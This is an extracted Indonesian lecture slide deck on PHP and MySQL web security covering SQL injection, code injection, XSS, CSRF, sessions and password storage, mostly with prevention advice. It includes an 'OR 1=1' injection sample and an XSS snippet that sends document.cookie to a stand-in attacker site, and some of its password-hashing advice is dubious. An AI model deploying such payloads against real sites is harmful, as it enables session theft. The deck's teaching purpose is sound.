• Tidak ada hasil yang ditemukan

Web Security Studi Kasus PHP and MySQL (1)

N/A
N/A
Protected

Academic year: 2018

Membagikan "Web Security Studi Kasus PHP and MySQL (1)"

Copied!
50
0
0

Teks penuh

(1)

Web Security

Studi Kasus: PHP & MySQL

ARGA DINATA

(2)

Pendahuluan

Web Security

(3)

Issues

Secrets

– Menjaga kerahasiaan informasi

Limited Resources

CPU, memori, disk space, & bandwidth itu

terbatas. Jaga resources ini agar tidak dieksploitasi

Good Netizenship

(4)

Referensi

Pro PHP Security 2nd Edition: Chris Snyder cs. • https://www.owasp.org

(5)

Resiko dan Celah Keamanan

Injection

Remote Execution

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

Authentication & Session

Third Party Components

(6)
(7)

SQL Injection

(8)

$username = $_POST[ username ];

$query = SELECT * FROM pengguna WHERE username

= {$username} ;

/*

attacker memasukkan arga OR 1 = 1 , sehingga query menjadi:

SELECT * FROM pengguna WHERE username = arga OR 1 = 1

(9)

SQL Injection

• Tidak hanya $_POST, tapi bisa juga melalui

$_GET

• Yang lebih berbahaya jika injeksi dilakukan pada

(10)

SQL Injection Word List

(11)

Pencegahan

SQL Injection

Escape karakter khusus menggunakan fungsi

mysql_real_escape_string()

• Agar semakin aman:

– Gunakan prepared statements &

parameterized queries (PDO / MySQLi)

– Cek tipe input dari user dengan fungsi

gettype()

(12)

Prepared Statements &

Parameterized Queries

(13)

Tools

untuk Pengujian

SQL Injection

SQL Power Injector

Pangolin

Web Cruiser

SQL Map

(14)

Code Injection

• Dimana index.php memiliki instruksi

include($_GET[ content ])

• Attacker memasukkan URL seperti ini:

(15)

Code Injection

(16)

Pencegahan

Code Injection

• Non-aktifkan parameter allow_url_include

pada php.ini

(17)

Remote Execution

• Mencoba melakukan eksekusi script secara langsung melalui fungsi-fungsi berikut:

eval()

exec()

passthru()

proc_open()

shell_exec()

(18)

Remote Execution

dari

Upload File

• Melalui upload file, attacker dapat

(19)

Pencegahan

Remote Execution

• Minimalisasi penggunaan fungsi-fungsi untuk mengeksekusi shell

• Cek ekstensi dari file-file yang di-upload

• Simpan upload file di luar document root

(20)

Cross-Site Scripting

(XSS)

• Memasukkan client-side script dari website

lain ke dalam website kita

Tag HTML yang bisa diinjeksikan:

<script>

<object>

<applet>

<iframe>

(21)

Cross-Site Scripting

(XSS)

• Apa yang dilakukan oleh script injeksi tsb?

– Mencuri cookies

– Manipulasi DOM

Redirect

– dll...

• Darimana injeksi dilakukan?

(22)

<style>

html { height: 100% } body { height: 100% }

</style> <div style=

position: absolute; top: 0; left: 0; background: White;

width: 100%; height: 100%

>

<h1>Situs dalam perbaikan</h1> <a href= #

onclick= javascript:window.location= http://attackersite.

com/cookies.php?cookie= +document.cookie; >Klik di sini untuk melanjutkan</a>

(23)

Pencegahan XSS

Encode HTML Entities menggunakan fungsi

htmlentities()

• Jika input user mengandung link, buat blacklist

(24)

Tools

untuk

Testing

XSS

Web Cruiser

Zed Attack Proxy (ZAP)

(25)

Cross-Site Request Forgery

(CSRF)

• Akses website dari host lain, tujuannya

(26)

Pencegahan CSRF

• Menggunakan CSRF Token (POST maupun GET)

• Cek HTTP Referrer

Challenge-Response:

– CAPTCHA

Re-Authentication

(27)

User Authentication

• Buat otentikasi user agar halaman hanya dapat diakses oleh pengguna yang berhak • Untuk menghindari pencurian data &

(28)

Perusak

Website

SPAMMER

– Pengguna yang melakukan posting konten yang bersifat promosi

SCAMMER

– Pengguna yang melakukan posting hal-hal yang melanggar hukum: pornografi, SARA, dll...

TROLL

(29)

Verifikasi Identitas Pengguna

• Simpan identitas pengguna agar:

– Mengurangi pengguna yang merusak

– Menghindari robot

– Jika ada pengrusakan, pengguna dapat dilacak

• Verifikasi dapat dilakukan melalui:

Email

– SMS

(30)

Password

• Simpan password dalam bentuk yang sudah di-hash atau di-enkripsi

• Perhatikan panjang dan kompleksitas

password

• Sediakan fitur untuk mengubah dan reset

(31)

Hash

/ Enkripsi

Password

• Gunakan algoritma kriptografi yang kuat, seperti AES, RSA, atau SHA-256. MD5 dan SHA1 saat ini sudah termasuk yg lemah

• Gunakan algoritma yg sudah umum digunakan • Berikan kunci tambahan (salted)

• Ganti kunci tambahan tersebut secara periodik

(32)

Contoh Penyimpanan

Password

$key = pwd_key_ * ;

$salted_pwd = $key.$password.$email;

(33)

Kriptografi

• Enkripsi, Hash, & Encode:

Enkripsi: merahasikan pesan, dapat dikembalikan

ke pesan semula menggunakan dekripsi

Hash: merahasikan pesan, tidak dapat

dikembalikan ke pesan semula

Encode: mengubah pesan ke dalam bentuk lain

(34)

Symmetric vs Asymmetric Key

Symmetric Key

– Pengirim dan penerima berbagi kunci rahasia yang sama

– Contoh: 3DES, AES, Blowfish, RC4

Asymmetric Key

– Enkripsi dan dekripsi memiliki kunci masing-masing

(35)

User Access Control

Interface yang berbeda-beda • User Group

(36)

User Log

Apache Access Log:

– Linux: /var/log/httpd/apache-access_log/

– Windows: /apache/logs/ • Simpan log pengguna:

Session ID

Date Time

User ID

(37)

Session

• Properti dari session:

Session Key / Session ID

Session Name

Session Length

Session Entropy

(38)

Session Hijacking

• Mencuri Session ID sehingga attacker bisa masuk ke halaman yg sama dengan victim

• Pencurian bisa dilakukan dengan:

Packet Sniffing

XSS Attack

Man-in-the-Middle Attack

(39)
(40)
(41)
(42)

Man-in-the-Browser

• Hampir sama dengan Man-in-the-Middle

(43)

Session Fixation

• Membuat victim menggunakan Session ID

yang telah diatur oleh attacker

(44)
(45)

Pencegahan Session Hijacking & Fixation

• Buat Session ID baru setiap pengguna login

• Ganti nama session (default: PHPSESSID)

(46)

Third Party Components

• Penggunaan komponen developer lain

memiliki resiko dalam keamanan, terutama yang bersifat open source

• Hampir tidak mungkin kita tidak

menggunakan komponen pihak lain, jadi solusinya adalah tetap update untuk

(47)

PHP

Configuration

(48)

Secure Socket Layer

(SSL)

• Protokol yang menggunakan kriptografi dalam pengiriman data, agar komunikasi lebih aman • Sekarang Transport Layer Security

• Kriptografi menggunakan kunci asimetris (asymmetric key)

(49)
(50)

Referensi

Dokumen terkait

Bab ini membahas mengenai ERD yang digunakan dalam pembuatan aplikasi, DFD berisi rincian cerita dari awal proses sampai akhir proses, PSPEC, kamus data dan rancangan UI

Berikut adalah hasil dari event click pada button Laporan Kegiatan halaman laporan yang ditunjukkan pada gambar 4.75 dan gambar 4.76, sehingga jika user mengklik button tersebut

Rancangan ini terdiri dari tiga proses, yaitu pengidentifikasian masalah yang dilakukan oleh Staf Helpdesk , mengirim data komplain user kepada Technical Support

Hasil data pada tabel diketahui bahwa pengguna website google.com terbanyak pada user di lokasi di depan depan Gedung I Fakultas Hukum, dengan jumlah website

Aktor user merupakan pengunjung yang memiliki peran dapat melihat aktivitas yang terdapat di halaman utama website seperti data guru, data siswa, pengumuman dan

Pada halaman utama seperti ditunjukkan pada Gambar 13 terdapat menu-menu yang dapat diakses oleh user, yang meliputi informasi tentang jumlah pasien, dokter

Pada halaman utama seperti ditunjukkan pada Gambar 13 terdapat menu-menu yang dapat diakses oleh user, yang meliputi informasi tentang jumlah pasien, dokter

Mnampilkan form pengisian data profil komunitas dan menampilkan data yang telah dibuat pada form pengisian data profil pada halaman beranda website pendaftaran kelas kopi komunitas